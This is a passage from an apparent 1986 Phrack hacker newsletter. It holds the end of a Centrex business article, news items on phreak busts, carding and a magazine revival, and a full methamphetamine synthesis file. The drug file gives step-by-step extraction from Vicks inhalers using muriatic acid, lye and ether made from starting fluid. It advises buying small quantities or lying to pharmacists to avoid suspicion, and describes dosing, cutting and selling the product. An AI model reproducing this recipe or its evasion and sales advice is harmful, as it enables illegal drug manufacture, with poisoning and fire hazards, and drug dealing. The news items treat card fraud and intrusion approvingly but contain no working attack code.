|
|
NATA attorneys do not seem daunted by the chilly reception
|
|
they've gotten at the FCC, apparently expecting the temperature
|
|
to rise as regulators worry less about the viability of the
|
|
divested BOCs and begin to examine the economics of Centrex.
|
|
"All rates apart from Centrex are rising dramatically.
|
|
Centrex rates are decreasing," NATA attorney Angel said. "The
|
|
BOCs would have you believe that Centrex provides a subsidy to
|
|
other services. But, in fact, documented studies show just the
|
|
opposite, that Centrex derives a subsidy."
|
|
If Centrex is priced below cost, why are the BOCs so
|
|
delighted with it? According to Angel, the answer lies in the
|
|
financial structure of a regulated utility. "Centrex uses many
|
|
more loops than necessary. This leads to new construction
|
|
budgets, which lead to new investment, which leads to a rate of
|
|
return for the investors." Investors, Angel added, "make make
|
|
money by putting loop and plant all over the place."
|
|
NATA's objections to the recent changes in Centrex rates and
|
|
services, objections that do not extend to opposition to
|
|
traditional Centrex, have generally been characterized by BOC
|
|
officials and regulators as protectionist actions taken by a PBX
|
|
industry that did not really want the full competitive
|
|
environment for which it clamored.
|
|
"NATA is frequently described as the whiner in the corner,
|
|
as though it holds all the cards," Angel said. The seven RBOCs
|
|
are far better financed, he added, yet, "they have been
|
|
successful in painting themselves as the underdogs."
|
|
|
|
* Note: Leslie Albin is a freelance writer based in Chevy Chase,
|
|
Maryland.
|
|
|
|
Watch for Part 1 of Centrex Renaissance: "The Technology".
|
|
Written by John D. Bray.
|
|
|
|
The above text was written primarily for people in marketing
|
|
telephone technologies. In the interest of the phreaking world,
|
|
I hope that you can focus on the business side of
|
|
telecommunications which may be in your future. There are more
|
|
to PBX's than 0-700-456-1001. Any comments, questions, or
|
|
corrections can be e-mailed to me at Metal Shop Private, or to:
|
|
|
|
J. Sluggo
|
|
P.O. Box 93
|
|
East Grand Forks, MN 56721
|
|
|
|
This file is dedicated to Bambi for bringing me my fondest
|
|
memories -- There is "No One Like You!" -- The Scorpions.
|
|
|
|
/
|
|
\
|
|
/ luggo !!
|
|
|
|
Volume One, Issue Four, Phile #8 of 11
|
|
|
|
THE TRIED AND TRUE
|
|
HOME PRODUCTION METHOD FOR
|
|
"METHAMPHETAMINE"
|
|
|
|
|
|
|
|
|
|
Also known as:"CRYSTAL","METH","CRANK","SPEED" etc..........
|
|
|
|
Written and tested by: The Leftist.
|
|
|
|
Have you ever heard of speed? No, not those little pills that are shaped like
|
|
hearts, not black beauties, or magnum .357's, but real crystal. This is the
|
|
exact drug that Hitler used on his troops in WWII to make them fight for days
|
|
on end. This is the drug, that in the 60's, caused a "smack" uproar in New
|
|
York's "Needle Park". Now, you can make this very same drug, in your own
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dangerous kitchen, safely and easily. Once you do this a few times, you will
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get the hang of it. I no longer have to read the directions to produce it.
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What to do with it once you have made it.
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Take a ball about the size of a lead pellet, and wrap it in tissue, and
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swallow, or you can put it in capsules and use it. You can smoke it, mix it
|
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with vitamin B-12, and snort it like cocaine. You can also sell it, for about
|
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$65-70.00 a gram, and don't forget to cut it. Remember, this is pure stuff!!
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===============================================================================
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List of chemicals and materials
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-------------------------------
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Dilute Hydrochloric acid--> This may be purchased at the hardware store. It's
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sold as a brick and driveway cleaner. They call it muriatic acid.
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Sodium Hydroxide--> This, you probably already have. It's called "lye" at most
|
|
places; it's drain cleaner.
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|
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Ethyl Ether--> You'll probably have to make this. Don't worry, it's a breeze.
|
|
Just go to your local K-mart or Auto parts store, and get a can of that
|
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"STARTING FLUID" it comes in a spray can. It's used for cold weather starting
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of gasoline engines.
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"VICKS" nasal inhalers-->USE ONLY VICKS!! No other kind will work that I know
|
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of. These are at any drug store or grocery, etc.. You need 12 of em, but
|
|
don't buy em' by the dozen, unless its winter time, then you can just say yer
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|
from some nursing home, and you're stockin up for the patients. Otherwise buy
|
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em' 2 at a time, if possible. Get a friend to help you. The druggists at the
|
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drug store usually will know what's goin on if you buy quantity.
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+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
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LIST OF EQUIPMENT
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-----------------
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Two large eyedroppers- ten small glass bottles- one large glass or porcelain
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bowl- coffee filters- one small jar with a top- one Pyrex baking dish- one
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glass test tube.
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-==*(> N O T I C E <)*==-
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PLEASE! DON'T SMOKE IN THE SAME ROOM WHEN YOU DO THIS.
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OPEN A WINDOW IN THE ROOM IF POSSIBLE.
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|
FOLLOW THESE INSTRUCTIONS EXACTLY. THIS RECIPE HAS BEEN TESTED AND THIS IS THE
|
|
BEST WAY TO DO IT. DON'T TAKE SHORTCUTS, AND DON'T EVEN START TO DO THIS
|
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UNLESS YOU HAVE ABOUT 3 HOURS SPARE.
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-------------------------------------------------------------------------------
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PREPARING ETHER!
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(DO THIS FIRST)
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Take one of the small bottles and spray starter fluid in it till it looks
|
|
half-full. Then fill the rest of the way with water, cap the bottle and shake
|
|
for 5 minutes. Then, draw off the top layer with the eyedropper, and throw
|
|
away the water layer. Repeat this until you have about 3 oz. of ether. Put
|
|
the cap on it, and put it in the refrigerator if you can. (If you can't, don't
|
|
worry about it) You'll use this in the procedure below.
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%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
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THE TRIED AND TRUE HOME PRODUCTION METHOD
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(1) Break open the inhalers, a pair of real sharp scissors does this good.
|
|
Place the cottons that were inside in a jar and close the lid. (Remember you
|
|
use all 12 cottons.)
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(2) In the bowl, combine 1- 1/3 oz. water and 2/3 oz. muriatic acid. Shred
|
|
cottons in this solution, and knead for 5 minutes with hands. (ALWAYS BE SURE
|
|
THERE'S CLEAN RUBBER GLOVES on your hands.) You can do it bare-handed if you've
|
|
got tough skin. Squeeze all juice out of filters after you knead, and throw
|
|
em away.
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|
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|
(3) Filter the remaining liquid into the quart jar. It will be necessary to do
|
|
this several times to get that awful smelling oil out. The chemicals in the
|
|
inhalers have been bonded to the HCl, and the oils have been filtered off.
|
|
Throw the filters away.
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|
|
|
(4) Pour enough of the solution into a small bottle to fill it 1/3 full. Save
|
|
any leftover juice for the second batch.
|
|
|
|
(5) Pour 1/4 teaspoon of the lye crystals into the bottle and agitate. Do this
|
|
carefully, as the mixture will become hot, and give off a gas. Repeat this
|
|
step until the mixture remains cloudy.
|
|
|
|
(6) Fill the bottle from step (5) up the rest of the way with ether. Cap the
|
|
bottle, and agitate for about 8 minutes. It is very important to expose every
|
|
molecule of the free-base to the ether for as long as possible.
|
|
|
|
(7) Let the mixture settle. There will be a middle layer that is very thick.
|
|
Tap the side of the bottle to get this layer as thin as possible.
|
|
|
|
(8) Remove the top layer with the eyedropper, being careful not to get any of
|
|
the middle layer in it. Save the top layer, and throw the rest away.
|
|
|
|
(9) Fill a bottle half-way with water, and about 10 drops of acid. Pour the
|
|
top layer from step (8) into the bottle, and cap it. Shake the bottle for 2
|
|
minutes. When it settles, remove the top layer and throw it away. The free
|
|
base has now been bonded to the HCl/water mixture.
|
|
|
|
(10) If there is anything left from step (3), repeat the procedure with it.
|
|
|
|
(11) Evaporate the solution in the Pyrex dish on low heat. You can do this on
|
|
the stove, but I have found that if you leave it on top of a hot-water heater
|
|
(like the one that supplies hot water to your house) for about 2-3 days, the
|
|
remaining crystals will be Methamphetamine.
|
|
|
|
Some notes:
|
|
|
|
Police are now calling this the "New Cocaine".
|
|
|
|
It is very easy to become delirious off the ether fumes, so be sure you are
|
|
well ventilated, I mean it!!!
|
|
|
|
Small, aspirin, or experiment bottles seem to work the best for smaller
|
|
batches. The measurements are not exact, so you don't have to be either.
|
|
|
|
In step 9, be sure you don't use too much water. Remember, this is the water
|
|
you have to use to evaporate.
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume One, Issue Four, Phile #9 of 11
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\
|
|
Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 1 ///_ _ _______
|
|
Metal Shop AE \\\ ///| \/ | / _____/
|
|
Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop
|
|
\\\ /// _________/ /
|
|
Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/
|
|
--------------- \-^^^^^^-^^^^^^^^^-/ Triad
|
|
_______________________________________________________________________________
|
|
|
|
MCI Working With BOCs
|
|
---------------------
|
|
PacBell and MCI have combined forces to make the Security Pacific Data
|
|
Transmission Corporation. Also it has been announced that field trials are
|
|
currently being held for Project Victoria: an integrated voice-data-video
|
|
service for homes and small businesses.
|
|
|
|
BOC stands for Bell Operating Company, and it refers to the small companies
|
|
that were formed after the breakup of AT&T.
|
|
_______________________________________________________________________________
|
|
|
|
2600 Magazine Vs. Computel Wednesday, February 26, 1986
|
|
--------------------------
|
|
The following post was seen on Stronghold East Elite on the above date.
|
|
-------------------------------------------------------------------------------
|
|
We're seriously thinking of taking some action against those nasty people at
|
|
Computel. We published a letter this month which implied that the whole
|
|
operation was really a fairly sophisticated FBI scam.
|
|
|
|
We need to know as many facts as possible. Please contact us on Stronghold East
|
|
thru e-mail, in person, or call (516) 751-2600. If we're not around, leave a
|
|
message saying when you'll call back and we'll try to be there.
|
|
|
|
Tell us if you've had personal experience with Computel or if you know others
|
|
who have. If anyone has cancelled checks or the equivalent, let us know!
|
|
|
|
Also, if anyone can send us a Computel ad, which somehow everyone here at 2600
|
|
managed to miss, it would be helpful. Send that to:
|
|
|
|
2600
|
|
PO Box 99
|
|
Middle Island, NY 11953
|
|
|
|
Note: That's not our subscription address. Subscriptions are at PO Box 752.
|
|
|
|
We may not be able to get these people prosecuted, but we can sure raise one
|
|
hell of a stink trying.
|
|
|
|
2600/eg
|
|
|
|
Let it be said that hackers and phreaks will never stand aside
|
|
and be ripped off!
|
|
-------------------------------------------------------------------------------
|
|
At this time we at Phrack have been able to uncover nothing more about the
|
|
Computel situation.
|
|
Information provided by (of course)
|
|
|
|
2600 Magazine
|
|
_______________________________________________________________________________
|
|
|
|
Mister Carding Busted
|
|
---------------------
|
|
Mister Carding first started in the profession of which his name comes forth in
|
|
the summer of 1984. Since then he has accumulated roughly $45,000 worth of
|
|
merchandise.
|
|
|
|
He was caught once before in the summer of 1985 by Federal agents. However, as
|
|
the investigation went on, they didn't have enough material and dropped the
|
|
charges.
|
|
|
|
Somewhere around the fourth week of February he was caught again, this time by
|
|
local authorities. Here is how it all started:
|
|
|
|
"Two months ago, I had tons of stuff coming in and had another guy picking it
|
|
up. One night two weeks or so ago I had him go out to pick up a 20 meg 3 1/2
|
|
inch hard drive. It was only the second time I had used that place as a drop
|
|
spot. Unfortunately, he walked right into a police stakeout and he was
|
|
followed, first to my house and then to his own."
|
|
|
|
The next day the police went to the house of the friend and arrested him. He
|
|
willingly signed an affidavit stating that Mr. Carding was the mastermind
|
|
behind the whole operation and that he was just an accomplice.
|
|
|
|
The court date has not yet been set but his crimes are as follows:
|
|
|
|
- Fraudulent use of a credit card.
|
|
- Possession of stolen merchandise in excessive amounts.
|
|
- Computer Invasion (Hacking).
|
|
|
|
On March 6, 1986:
|
|
|
|
- The police confiscated his modem. It had been carded.
|
|
- He had a meeting with the detectives, in which he had to take a lie detector
|
|
test. They asked him if he was lying about any part of the case, if he
|
|
hacked into computers, and if he was using one specific person's card.
|
|
- He failed the test.
|
|
|
|
The police believe he hacked into the computer of a bank in New Jersey, Mr.
|
|
carding denies all of it. However it is the truth.
|
|
|
|
Most people didn't know it but Mr. Carding was one of the better hackers around
|
|
and should be remembered.
|
|
|
|
He is pleading innocent to all charges and has signed a reverse affidavit
|
|
stating that the other guy was the mastermind.
|
|
|
|
He, as of this writing, has not been arrested but expects to have full charges
|
|
brought on him within the next week.
|
|
|
|
Information provided by Mister Carding
|
|
_______________________________________________________________________________
|
|
|
|
Boston Strangler Caught Scanning
|
|
--------------------------------
|
|
The Boston Strangler was caught scanning, he wasn't scanning an extender, he
|
|
was scanning a prefix in his home town. The phone company shut his line off and
|
|
now Boston Strangler may have to go to court, he claims he is under 1XB but
|
|
this is doubtful.
|
|
|
|
An employee of the phone company actually called him and told him to not use
|
|
the phone because his supervisor was checking for trouble on the line.
|
|
Apparently Boston Strangler scanned the entire prefix and once he was finished
|
|
the phone company called and said that he was in a lot of trouble.
|
|
|
|
Information provided by taRfruS
|
|
_______________________________________________________________________________
|
|
|
|
AT&T Suing The BOCs
|
|
-------------------
|
|
American Telephone and Telegraph is allegedly filing an 80 million dollar
|
|
lawsuit on the Bell Operating Companies. They filed a complaint with the FCC
|
|
in January 1986 that claims that certain BOCs owe AT&T 80 million dollars
|
|
because they failed to perform specific duties which were part of their billing
|
|
and collection contracts.
|
|
|
|
It is not known how much each company owes with the exception of Northwestern
|
|
Bell who owes $2 million.
|
|
|
|
Information provided by Jester Sluggo
|
|
_______________________________________________________________________________
|
|
|
|
Speed Demon Elite; Will It Return?
|
|
----------------------------------
|
|
The rumors are true, Radical Rocker did forget to pay his phone bill, and as a
|
|
result Speed Demon Elite was shut down.
|
|
|
|
Any talk about SDE being busted for having credit card information on the board
|
|
should be ignored as it is completely false and only one phreak's
|
|
interpretation of past events.
|
|
|
|
Radical Rocker has stated that everyone should expect Speed Demon Elite to
|
|
return in the near future.
|
|
|
|
Speed Demon Elite
|
|
415-522-3074
|
|
|
|
Information provided by Radical Rocker
|
|
Thanx to Investigative Reporting by Taran King
|
|
_______________________________________________________________________________
|
|
|
|
Private Sector Damaged/Returning
|
|
--------------------------------
|
|
The Private Sector, which was supposed to have been returned by the 16th of
|
|
February, 1986 had been damaged in the hands of the authorities. According to
|
|
them, "one of the cards blew up." They say that this happened before they had
|
|
the chance to erase the two "illegal" files they found on the hard drive. So
|
|
now then they had to hold onto it a bit longer. Naturally 2600 Magazine
|
|
suspected intentional foul play and stepped up the pressure on them to return
|
|
Private Sector. 2600 suspected the card they authorities were referring to was
|
|
the hard disk controller. They wouldn't stick another controller from another
|
|
machine in and they wouldn't let 2600 Magazine even look at the machine. What
|
|
an outrage!
|
|
-------------------------------------------------------------------------------
|
|
On Friday, February 28, 2600 Magazine announced the following.
|
|
-------------------------------------------------------------------------------
|
|
Private Sector has finally been returned, and is in the process of being
|
|
repaired. It will be back up in the near future at the same number as before;
|
|
201-366-4431. Call 2600 Magazine at 516-751-2600 for more details.
|
|
|
|
At the current writing of this article, Private Sector is up and running. Only
|
|
time will tell if it will ever be the great bbs it once was.
|
|
|
|
Information provided by 2600 Magazine
|
|
_______________________________________________________________________________
|
|
|
|
TelePub'86
|
|
----------
|
|
The 1986 TelePub meeting (originally planned up by Sigmund Fraud) was held on
|
|
the second floor of the Days Inn Hotel at 440 W.57th St. New York, NY.
|
|
Supposedly the first Telepub meeting since 1980, when one was held in
|
|
Washington DC. The meeting room was called by some "The Colosseum."
|
|
|
|
There was a $10 admission fee to the meeting room. Supposedly Chesire
|
|
Catalyst's girlfriend (who some said was blind and had a seeing eye dog) was
|
|
collecting the money and handing out the name tags.
|
|
|
|
Some say there were about 25-30 people there in total, but Broadway Hacker
|
|
stated that there was only 23. This included:
|
|
|
|
Broadway Hacker
|
|
Chesire Catalyst + girlfriend
|
|
Dr. PHATE (P>hreaks H>ackers A>nd T>elecom E>nthusiasts)
|
|
Karl Marx
|
|
Lou Dolinar (reporter from Newsday Magazine in Long Island)
|
|
Ninja NYC
|
|
Private Sector + girl (Incidentally the programmer of the NEW Private Sector
|
|
BBS)
|
|
Sammy Junkins
|
|
Scan Man
|
|
Sigmund Fraud + friend
|
|
Slave Driver
|
|
The Bootleg
|
|
The Cracker
|
|
The Lineman
|
|
2600 Magazine - Tim and Paul
|
|
|
|
Most noted for not showing up were TUC and TWCB Inc. Since this meeting was
|
|
generally supposed to be about the revival of TAP Magazine, it was VERY
|
|
surprising to some that TWCB didn't go. To others however, this was expected.
|
|
|
|
Their reason (excuse) has something to do with late plane arrivals and legal
|
|
problems (probably dealing with restrictions due to their probation. Supposedly
|
|
TUC's phone number was posted on the board at the front of the meeting room for
|
|
those who wanted to get in touch with him.
|
|
|
|
There was basically chit chat until around 11:15 am when Chesire Catalyst began
|
|
talking about CCIS (Common Channel Inter-Office Signaling). His speech really
|
|
told nothing new but the best part of the discussion came out of the many
|
|
questions that were asked by the audience. Also around 11:15 is when Tim and
|
|
Paul from 2600 Magazine showed up.
|
|
|
|
A little later, Scan Man and The Bootleg started to discuss the possibilities
|
|
of satellite phreaking, and up & down linking.
|
|
|
|
A little later, Private Sector appeared and with him came an ad from Personal
|
|
Computing Magazine. The ad was from none other than Computel. Computel, the
|
|
supposed and almost definite fed operation magazine was discussed for quite a
|
|
long time.
|
|
|
|
Chesire Catalyst began to distribute the final issue of TAP. It was issue #91,
|
|
Spring 1984. It included articles about credit agencies and UNIX, from BIOC;
|
|
Hacking Western Union, by TUC; Phreaks and hackers Morality, by Big Brother;
|
|
Passport check sums, and Bell Pie, among others.
|
|
|
|
2600 Magazine gave out their latest issue, February 1986, Volume 3 Number 2 as
|
|
well as other promotional items.
|
|
|
|
Sigmund Fraud was giving out older issues of TAP.
|
|
|
|
Among other things, BBS numbers were passed and there were all sorts of
|
|
telecommunication magazines lying around.
|
|
|
|
There was a break for lunch. When they returned Scan Man started in on Chesire
|
|
about the money that MANY had sent in to TAP and never received the magazine or
|
|
their money back. Chesire replied, "It went to pay my bills." He also made
|
|
other remarks about how he hasn't spent it all and how he may send it back but
|
|
he really didn't ever answer the questions that Scan Man put to him.
|
|
|
|
Much of this information came from Slave Driver and Sigmund Fraud
|
|
_______________________________________________________________________________
|
|
|
|
Metal Shop Brewery
|
|
------------------
|
|
There is a NEW member to the Metal Shop family, thus completing the Metal Shop
|
|
Triad.
|
|
|
|
Announcing...
|
|
_ _ _______
|
|
| \/ | / _____/
|
|
|_||_|etal / /hop
|
|
__________/ /
|
|
/___________/
|
|
_______ ________ ________ __ __ ________ _______ __ __
|
|
/ ___ \ / __ \ | _____| | | | | | _____| / __ \ | | | |
|
|
| |___| | | |__| | | |__ | | __ | | | |__ | |__| | | |_| |
|
|
| / | _ _/ | | | | | | | | | | | _ _/ \_ _/
|
|
| ___ \ | | \ \ | __| | |_| |_| | | __| | | \ \ \ /
|
|
| |___| | | | \ \ | |_____ | | | |_____ | | \ \ | |
|
|
\_______/ |__| \__\ |________| \____________/ |________| |__| \__\ |_|
|
|
|
|
314-DWI-8259
|
|
|
|
300/1200 Baud, No Parity, 8 Data Bits, 1 Stop Bit.
|
|
|
|
Sysop: Beer Wolf
|
|
Co-sysop: Cheap Shades
|
|
-------------------------------------------------------------------------------
|
|
System Configuration:
|
|
|
|
- IBM PC with 2 Half Height Teac 360k Floppy Drives
|
|
- 20Meg MiniScribe Hard Drive
|
|
- Hayes SmartModem 1200
|
|
- Epson LQ-1500 Printer
|
|
- Total of 448k of RAM and expecting 2 Meg soon
|
|
-------------------------------------------------------------------------------
|
|
While Metal Shop Brewery is mainly an IBM Pirate Board, it also has interesting
|
|
message bases.
|
|
|
|
Some of them include these topics:
|
|
|
|
- New Users
|
|
- Bulletin Boards
|
|
- General Schtuff
|
|
- Programming
|
|
- Things that go BOOM! (Anarchy)
|
|
- Hacking
|
|
- Phreaking
|
|
-------------------------------------------------------------------------------
|
|
Metal Shop Brewery is run on DoubleDos and is a strong supporter of Phrack
|
|
Newsletter. IBM Pirates Call Today!
|
|
_______________________________________________________________________________
|
|
|
|
==Phrack Inc.==
|
|
|
|
Volume One, Issue Four, Phile #10 of 11
|
|
=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|
///\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\\\
|
|
Metal Shop PRIVATE\\\ Phrack World News Issue 3 Part 2 ///_ _ ________
|
|
Metal Shop AE \\\ ///| \/ | / ______/
|
|
Metal Shop Brewery \\\ Compiled by /// |_||_|etal/ /hop
|
|
\\\ /// _________/ /
|
|
Present PWN III \\\///\\ Knight Lightning //\\\/// /__________/
|
|
--------------- \-^^^^^^-^^^^^^^^^-/ Triad
|
|
_______________________________________________________________________________
|
|
|
|
TAP Revival
|
|
-----------
|
|
The TAP meetings in New York hadn't been going well, every week less people
|
|
would show and it was becoming pointless to attend. Chesire Catalyst makes
|
|
roughly $1000 a month without printing TAP, and really he sees no reason to
|
|
restart. Now TAP is being taken over by The W(hack)o Cracko Brothers, INC.
|
|
|
|
Chesire Catalyst has officially given the TAP name over to TWCB Inc. or has he?
|
|
These answers still remain a mystery. TWCB plans to change the name of the mag
|
|
but not until after issue one is out.
|
|
|
|
Supposedly, Chesire had over 500 articles that never saw print that he has been
|
|
holding until the re-opening of TAP. It is unknown if TWCB and the new TAP
|
|
Staff will acquire these articles. Also it is unknown as too if some of those
|
|
articles were the ones in issue 91 of TAP that was recently distributed at
|
|
TelePub'86 in New York City.
|
|
|
|
This new TAP has announced its editors as follows:
|
|
|
|
West Coast Editors: The Bootleg (Chief), The Cracker, and TUC
|
|
East Coast Editor: Susan Thunder & Scan Man
|
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Central Editors: Knight Lightning and Taran King
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TWCB, has stated that on the day the first issue of TAP sees print, they will
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quit phreaking, as they will undoubtedly be watched very closely from then on.
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The status of Whackoland bbs is uncertain. However TWCB has announced plans
|
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for a UNIX or Motorola system.
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The Staff members include: TWCB Inc., Knight Lightning, Taran King, Scan Man,
|
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The Firelord, Final Impulse, Ninja NYC, Sigmund
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Fraud, Silver Spy, The Bootleg, The Cracker, Surfer
|
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Bill, and The Marauder. Also unconfirmed reports
|
|
state that the LOD will be taking an active part in
|
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this new magazine.
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Subscription rates are as follows:
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$4.00 Singular issue
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$20.00 Half year/6 month subscription
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$35.00 Year subscription
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$100.00 Corporate year subscription, for businesses or government agencies
|
|
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The $35/One year subscription includes:
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o A years subscription to Tap Magazine (12, 30+ Page Issues).
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o A free account to TWCB's Unix system (Limited offer).
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o A free account to TWCB's Watson Message Center (Limited offer).
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The magazine will consist of 30-40 color pages and will be using the same type
|
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of paper as most common everyday magazines (ie. TIME, Newsweek etc). TAP will
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be published every month.
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|
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Tele-Pub meetings will be held once a month at TAP offices in St.Louis, MO.
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|
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TWCB is supposedly in the process of organizing a TAP-Tele-Pub Convention to be
|
|
held in St. Louis at the Marriot Hotel (most likely). TWCB says it will be THE
|
|
Largest Phreak/Hackers convention EVER held! They are planning it for the
|
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Summer of 1986.
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|
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For more information on how to become a staff member to to subscribe to TAP
|
|
call 314-527-TWCB.
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TAP Offices are located at 12072 Manchester Road, Suite 21, Des Peres, MO
|
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63131. Send all subscriptions there in money, checks, or money orders made out
|
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to Tap Magazine. (Editor's note: It is uncertain as to the true existence of
|
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this office. There is always the possibility of it being a mail forwarding
|
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service).
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Some of the articles to expect in the first issue are interviews with The
|
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Bootleg, Scan Man, Surfer Bill (concerning the Teltec Busts), files from
|
|
Bootlegger Magazine Issues (including those from issue #7 which has not yet
|
|
been released, this includes articles from MCI World Magazine, such as the MCI
|
|
World/MCI Security Interview), and NRK 01. TWCB claims to have received over a
|
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100 articles from TOP Hack/Phreakers.
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As to the reasons concerning TWCB not appearing at the TAP-TelePub'86, Tim
|
|
posted the following on the Phrack/TAP subboard on Metal Shop PRIVATE:
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|
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"Well the meeting totally got screwed I couldn't make it, mainly because
|
|
Cheshire sorta fucked TAP over. I think he was just in it for the money. He
|
|
was supposed to set up a PRIVATE meeting for TAP and it was going to be before
|
|
the big meeting, well I called some people at the Days in at about 4:00 AM in
|
|
the morning from the airport, the morning of the meeting, and they say well
|
|
Cheshire says that the Private meeting is going to be after the Big Meeting
|
|
and everyone already knows where were going."
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|
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"Anyway I couldn't make it cause my plane landed at Laguardi and I was to take
|
|
the plane back at 11:30 AM, well it takes 45 minutes to get to the Days Inn
|
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and didn't want to go to the big meeting because of serious LEGAL troubles."
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(Editor's note: The way I heard it directly from Tim, is that they called from
|
|
St. Louis International to NYC and heard about the changes and knew about
|
|
their late plane situation and decided to blow it off.)
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The following is the story of how TWCB got started with TAP:
|
|
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|
At first, there it was... Metal Shop standing proud, the home of Phrack
|
|
Newsletter. TWCB saw this and put up Whackoland, which many of you may notice
|
|
was made specifically to look like MS. Furthermore, TWCB was gonna have a
|
|
magazine originally called "Whackoland Gazette" until TWCB realized that with
|
|
Metal Shop and P-80 backing it and not just Whackoland, they would have to
|
|
change the name. Phrack was supposed to be reprinted in this mag. The list of
|
|
boards backing it grew quickly. Still however it was a magazine without a
|
|
name. Then TWCB started hearing about the revival of TAP and how the meetings
|
|
were not going very well. They called Chesire Catalyst and started working out
|
|
the preliminary details, which brings us to where we are today.
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There are those however who would NOT like to see TAP restarted. Among them,
|
|
2600 Magazine and Project Inform. Who could blame them? No one likes
|
|
competition. This was okay however until, TWCB got a call from TUC, Lex Luthor,
|
|
Susan Thunder, and Mark Tabas (the staff members of Project Educate). They
|
|
claimed they want TWCB to publish for them, TWCB refused. Later they received
|
|
a threatening call from TUC, in which they were informed that TUC would have
|
|
security people watching TWCB all the time and when they slipped up...*BOOM*
|
|
|
|
Now TWCB says that TUC later called and now is fully behind TAP and has
|
|
accepted editorship with TAP.
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|
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ALL information in this article, excluding the short history and investigative
|
|
sections, was provided by TWCB Inc. Especially the parts about Project Inform,
|
|
TUC, Lex, etc.
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TAP's Motto: Help US fight Your fight! - Join Tap's WAR!
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_______________________________________________________________________________
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Phrack/Tap Status Report
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------------------------
|
|
Regardless of the TAP situation, Phrack will remain in publication. TWCB is
|
|
not very happy about this but, we really don't care.
|
|
|
|
The reasons that the Teltec Bust story did not appear in this issue of PWN is
|
|
that most of the info we have on it was supplied by Surfer Bill in an interview
|
|
he did with TWCB. I have the taped interview, but as it was done by TWCB it
|
|
therefore was TAP property. However, should TAP issue #1 not be in print by
|
|
the time Phrack V is ready, the Teltec story WILL appear in Phrack World News
|
|
Issue Number IV.
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|
|
:Knight Lightning
|
|
_______________________________________________________________________________
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|
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Monty Python Retires
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|
--------------------
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|
The following message appeared on Stronghold East Elite on Sunday, February 9,
|
|
1986, 4:50:53 PM.
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-------------------------------------------------------------------------------
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I have formally retired from the phreaking world, permanently. I have *NOT*
|
|
been busted or been given any heat by anyone or any corporation. I just have
|
|
no time what-so-ever to devote myself to give phreaking the appropriate time it
|
|
deserves. Schoolwork is bringing me down, and I have a big research paper
|
|
coming up, plus lots of other work.
|
|
Honestly, phreaking doesn't seem much fun anymore. I especially hate the
|
|
attitudes of some phreaks (who shall remain nameless) who have their head in
|
|
the clouds, and put down everyone else. It is quite a pain in the ass, and
|
|
these people look like fools, cause they are usually nothing quite like what
|
|
they think they are.
|
|
My "retirement" entails the ceasing of myself of calling phreak boards,
|
|
hacking, and trashing. If you want to call me up on a conference, don't bother
|
|
(some of you have done so in the past). I don't have the time and I am not
|
|
interested.
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|
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|
Later on and be seeing you from time to time...
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|
|
Monty Python
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Editor's Note: Monty Python did ask for his account to be kept active at
|
|
Stronghold East, so that he may see what's new, from time to
|
|
time. Also Monty Python has further stated that he may return
|
|
to the phreak world this summer.
|
|
_______________________________________________________________________________
|
|
|
|
Demise of The Sprinter
|
|
----------------------
|
|
On the front page of the Wednesday, February 12, 1986 edition of the Seattle
|
|
P-I were the headlines COMPUTER INVASION CHARGED. Kirkland youth accused of
|
|
snooping. Some of the articles highlights were:
|
|
|
|
One Michael P. Wilkerson (The Sprinter) was so successful in bypassing four
|
|
companies computer security. He could copy or destroy data even the sysops
|
|
couldn't touch. The 18 year old most notably tapped into MicroSoft's
|
|
mainframe, along with 3 other companies, Kenworth Truck, Sunstrand Data
|
|
Control, and Resource Conservation companies.
|
|
|
|
Looks like the district attorney is asking for a 90 day sentence and will get
|
|
it due to the cooperation (read plea bargaining) given by Sprinter. During the
|
|
search, the police discovered a list of TRW dial-ups and passwords and a
|
|
handwritten list of Visa, Mastercard, and Amex credit card numbers.
|
|
-------------------------------------------------------------------------------
|
|
It turns out that Sprinter is also under investigation for illegal credit card
|
|
purchases in his home state of California. Most notably a $1400 bicycle.
|
|
|
|
A real nice point made by the district attorney is that possession of the list
|
|
of card numbers is NOT a crime. Only the use of them is illegal.
|
|
-------------------------------------------------------------------------------
|
|
Now that was the Seattle P-I's interpretation of those events, this is
|
|
everything else we at Phrack Inc. have been able to uncover.
|
|
-------------------------------------------------------------------------------
|
|
Sprinter got busted for hacking on a large VAX/VMS system, and since it was
|
|
local to him, he didn't bother to go through an extender. He didn't feel there
|
|
was any danger considering he wasn't using a lead number.
|
|
|
|
Sprinter was well known for his "bible" of Sprint codes that was always kept
|
|
filled. His bible and all computer equipment were confiscated.
|
|
|
|
Sprinter has 4 charges of hacking. One nice part about this is that since his
|
|
bust, Sprinter has received several job offers for computer security, including
|
|
an offer from MicroSoft Inc. (Editor's note: I wonder if MicroSoft will drop
|
|
its charges against Sprinter as a part of the contract should he sign with
|
|
them).
|
|
|
|
The one interesting twist to this story is that Sprinter's bosses got into
|
|
some deep shit. While people were going through Sprinter's computer things
|
|
(which was in his bosses' office) they found some evidence that led them to
|
|
believe that Sprinter's bosses were large cocaine dealers. Sprinter's bosses
|
|
haven't been heard from since. Later reports did however tell that 1 of them
|
|
is now serving a 7 year prison sentence and the other is presumed dead. This
|
|
part is very unspecific because it doesn't say what their basis for this
|
|
judgement are. Did they find the body? Or is he just missing?
|
|
|
|
Much of this information has been provided by
|
|
Sally Ride (Space Cadet),
|
|
The Guardian Demon,
|
|
and
|
|
Jester Sluggo
|
|
_______________________________________________________________________________
|
|
|
|
Some Quick Notes
|
|
----------------
|
|
The Matrix, formally at 415-922-1370, is down due to the hard drive being
|
|
broken. Dr. Strangelove says that as soon as he can get another hard drive,
|
|
the Matrix will return.
|
|
-------------------------------------------------------------------------------
|
|
Spectre III, run by the Overlord of 815, is back up. Overlord requests that
|
|
